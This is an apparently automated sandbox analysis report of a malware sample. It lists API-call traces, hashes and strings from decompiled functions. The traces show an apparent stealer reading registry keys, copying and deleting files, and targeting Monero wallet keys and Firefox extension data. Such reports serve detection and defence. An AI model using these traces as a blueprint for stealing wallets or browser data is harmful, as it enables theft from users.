Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileHeap$AllocateAttributesFindFirstFolderPathProcesslstrcpywsprintf
String ID:
API String ID: 2540262943-0
Opcode ID: a72f6b1ebae7c4b23aa37c55edc1796f152bbb435c0411449f4ff77a283b1ab0
Instruction ID: d3da02a9cc8176defc550873cafda86a658d4bf038145e56dd22ff97fb4b1025
Opcode Fuzzy Hash: a72f6b1ebae7c4b23aa37c55edc1796f152bbb435c0411449f4ff77a283b1ab0
Instruction Fuzzy Hash: AD3184B6D4021997DB20F7B0DC88EDD737CAB58704F444589F35697084EA749789CB91

Function 010140B0 Relevance: 7.6, APIs: 5, Instructions: 124registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.KERNEL32(80000001,00A5D7C0,00000000,00020119,?), ref: 010140F4
RegQueryValueExA.ADVAPI32(?,00A5E2F0,00000000,00000000,00000000,000000FF), ref: 01014118
RegCloseKey.ADVAPI32(?), ref: 01014122
lstrcat.KERNEL32(?,00000000), ref: 01014147
lstrcat.KERNEL32(?,00A5E410), ref: 0101415B

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$CloseOpenQueryValue
String ID:
API String ID: 690832082-0
Opcode ID: ca7155a6982f691579d4e3be169b9fbf1cbf457d51e0169fb1254402743fb1b7
Instruction ID: 49cbc515b52a47411aba1aa21fc9ffc105804554051446bad57d2a46e53bca1e
Opcode Fuzzy Hash: ca7155a6982f691579d4e3be169b9fbf1cbf457d51e0169fb1254402743fb1b7
Instruction Fuzzy Hash: EF41ECBAD40108ABDB24EBA0EC49FFE377DBB58300F04455CA7565B1C4EA759B888BD1

Function 6C5DC930 Relevance: 7.6, APIs: 5, Instructions: 83memoryCOMMON

Download Yara Rule

APIs

GetSystemInfo.KERNEL32(?), ref: 6C5DC947
VirtualAlloc.KERNEL32(?,?,00002000,00000001), ref: 6C5DC969
GetSystemInfo.KERNEL32(?), ref: 6C5DC9A9
VirtualFree.KERNEL32(00000000,?,00008000), ref: 6C5DC9C8
VirtualAlloc.KERNEL32(00000000,?,00002000,00000001), ref: 6C5DC9E2

Memory Dump Source

Source File: 00000000.00000002.2005788008.000000006C5C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5C0000, based on PE: true

Associated: 00000000.00000002.2005774755.000000006C5C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005834570.000000006C63D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005851102.000000006C64E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2005864405.000000006C652000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5c0000_file.jbxd

Similarity

API ID: Virtual$AllocInfoSystem$Free
String ID:
API String ID: 4191843772-0
Opcode ID: ec550dadda410013529a30ee89d983287e65c35f44a5cad9f4b33a098be92ae0
Instruction ID: 99c4c5a79ea9f165a77f8a4dac837265f2c463877daa5fb4791794bb30ed1147
Opcode Fuzzy Hash: ec550dadda410013529a30ee89d983287e65c35f44a5cad9f4b33a098be92ae0
Instruction Fuzzy Hash: 33212F31741714ABDB04BB29CCC4BAE73B9AB87708F518519F90797780E7707C008799

Function 01017E00 Relevance: 7.6, APIs: 5, Instructions: 58registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 01017E37
RtlAllocateHeap.NTDLL(00000000), ref: 01017E3E
RegOpenKeyExA.KERNEL32(80000002,00A4C470,00000000,00020119,?), ref: 01017E5E
RegQueryValueExA.KERNEL32(?,00A5D640,00000000,00000000,000000FF,000000FF), ref: 01017E7F
RegCloseKey.ADVAPI32(?), ref: 01017E92

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 51b6368e27e1fb139ba6cefb361eb17e71a0a58b87f7496c30068393e630ca35
Instruction ID: aa5618d7422c315ae793f0e5c0df9f3fbf8b1891b934edecdada3aaabcd616cd
Opcode Fuzzy Hash: 51b6368e27e1fb139ba6cefb361eb17e71a0a58b87f7496c30068393e630ca35
Instruction Fuzzy Hash: A81151B5A80205EBD724CF94E949F7FBBF8FB08710F104119F606A7288D77858008BA1

Function 010012A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 010012B4
RtlAllocateHeap.NTDLL(00000000), ref: 010012BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 010012D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 010012F5
RegCloseKey.ADVAPI32(?), ref: 010012FF

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: a2bbfdc48e56a474c68cb492164cbc31cc0d7bf90590d0aa4ab587a5b29b1d8a
Instruction ID: b6cbc84cb5709dd9fdaeb17e104df1fbe2042f6f2dbe96394608cd76df9de599
Opcode Fuzzy Hash: a2bbfdc48e56a474c68cb492164cbc31cc0d7bf90590d0aa4ab587a5b29b1d8a
Instruction Fuzzy Hash: E301E1B9A40208BBEB14DFE4E84DFAEB7BCEB48705F108159FA0697284D6759A018F50

Function 0100A0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00A592A8,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 0100A0BD
LoadLibraryA.KERNEL32(00A5D660), ref: 0100A146

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A820: lstrlen.KERNEL32(01004F05,?,?,01004F05,01020DDE), ref: 0101A82B
Part of subcall function 0101A820: lstrcpy.KERNEL32(01020DDE,00000000), ref: 0101A885

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

SetEnvironmentVariableA.KERNEL32(00A592A8,00000000,00000000,?,010212D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,01020AFE), ref: 0100A132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 0100A0B2, 0100A0C6, 0100A0DC

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: 7d9285caa489e2fbb0473333ed3bbe8e07e6ab8e66f5484be940f52e566d71ef
Instruction ID: 778039175d3107525bd262407b8f2579c6eb001ad142c479c1e07b8d209cf0c6
Opcode Fuzzy Hash: 7d9285caa489e2fbb0473333ed3bbe8e07e6ab8e66f5484be940f52e566d71ef
Instruction Fuzzy Hash: BC4165B9A41205DFEF25DFA8F948BEE37B4BB59301F000129F54793288DB385985CB60

Function 0100A260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01018B60: GetSystemTime.KERNEL32(01020E1A,00A5A210,010205AE,?,?,010013F9,?,0000001A,01020E1A,00000000,?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 01018B86

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0100A2E1
lstrlen.KERNEL32(00000000,00000000), ref: 0100A3FF
lstrlen.KERNEL32(00000000), ref: 0100A6BC

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

DeleteFileA.KERNEL32(00000000), ref: 0100A743

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 470d433015e42a08ab7ea554014e6d04af67a451b4e7b0bd74ecbf74cf881d1e
Instruction ID: dfb5d57e737c437876dab8e52a6f189fe725482806ac16a665aa3705878cd096
Opcode Fuzzy Hash: 470d433015e42a08ab7ea554014e6d04af67a451b4e7b0bd74ecbf74cf881d1e
Instruction Fuzzy Hash: 74E15E72A11149DBDB15FBA4ED94EEE7338AF24210F508159E45773098EF386A4ECB70

Function 0100D780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 01018B60: GetSystemTime.KERNEL32(01020E1A,00A5A210,010205AE,?,?,010013F9,?,0000001A,01020E1A,00000000,?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 01018B86

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0100D801
lstrlen.KERNEL32(00000000), ref: 0100D99F
lstrlen.KERNEL32(00000000), ref: 0100D9B3
DeleteFileA.KERNEL32(00000000), ref: 0100DA32

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

Associated: 00000000.00000002.1983883605.0000000001000000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000105A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001085000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000108F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.0000000001092000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010B1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010BD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010E2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000010EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000110F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.000000000111B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1983903095.00000000011CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.000000000125E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000013EE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014CC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.00000000014FA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984315939.0000000001508000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984573623.0000000001509000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984677341.00000000016AA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1984690665.00000000016AB000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_1000000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 06e0ac1fb7cdc40aefc429c81c445b908966cd360cc412cbe886f35eeb13c196
Instruction ID: fffb86c01519c48965ed783eba2c3c9c81a7777fb96f21ba6d40f5d22ba7a45f
Opcode Fuzzy Hash: 06e0ac1fb7cdc40aefc429c81c445b908966cd360cc412cbe886f35eeb13c196
Instruction Fuzzy Hash: 89813276A51149DBDB15FBA4DD94EEE7339BF24210F404129F487A7098EF386A0ACB70

Function 0100F4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0101A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0101A7E6

Part of subcall function 010099C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 010099EC
Part of subcall function 010099C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 01009A11
Part of subcall function 010099C0: LocalAlloc.KERNEL32(00000040,?), ref: 01009A31
Part of subcall function 010099C0: ReadFile.KERNEL32(000000FF,?,00000000,0100148F,00000000), ref: 01009A5A
Part of subcall function 010099C0: LocalFree.KERNEL32(0100148F), ref: 01009A90
Part of subcall function 010099C0: CloseHandle.KERNEL32(000000FF), ref: 01009A9A

Part of subcall function 01018E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 01018E52

Part of subcall function 0101A740: lstrcpy.KERNEL32(01020E17,00000000), ref: 0101A788

Part of subcall function 0101A9B0: lstrlen.KERNEL32(?,00A59028,?,\Monero\wallet.keys,01020E17), ref: 0101A9C5
Part of subcall function 0101A9B0: lstrcpy.KERNEL32(00000000), ref: 0101AA04
Part of subcall function 0101A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0101AA12

Part of subcall function 0101A8A0: lstrcpy.KERNEL32(?,01020E17), ref: 0101A905

Part of subcall function 0101A920: lstrcpy.KERNEL32(00000000,?), ref: 0101A972
Part of subcall function 0101A920: lstrcat.KERNEL32(00000000), ref: 0101A982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,01021580,01020D92), ref: 0100F54C
lstrlen.KERNEL32(00000000), ref: 0100F56B

Strings

moz-extension+++, xrefs: 0100F5AD
^userContextId=4294967295, xrefs: 0100F59C

Memory Dump Source

Source File: 00000000.00000002.1983903095.0000000001001000.00000040.00000001.01000000.00000003.sdmp, Offset: 01000000, based on PE: true

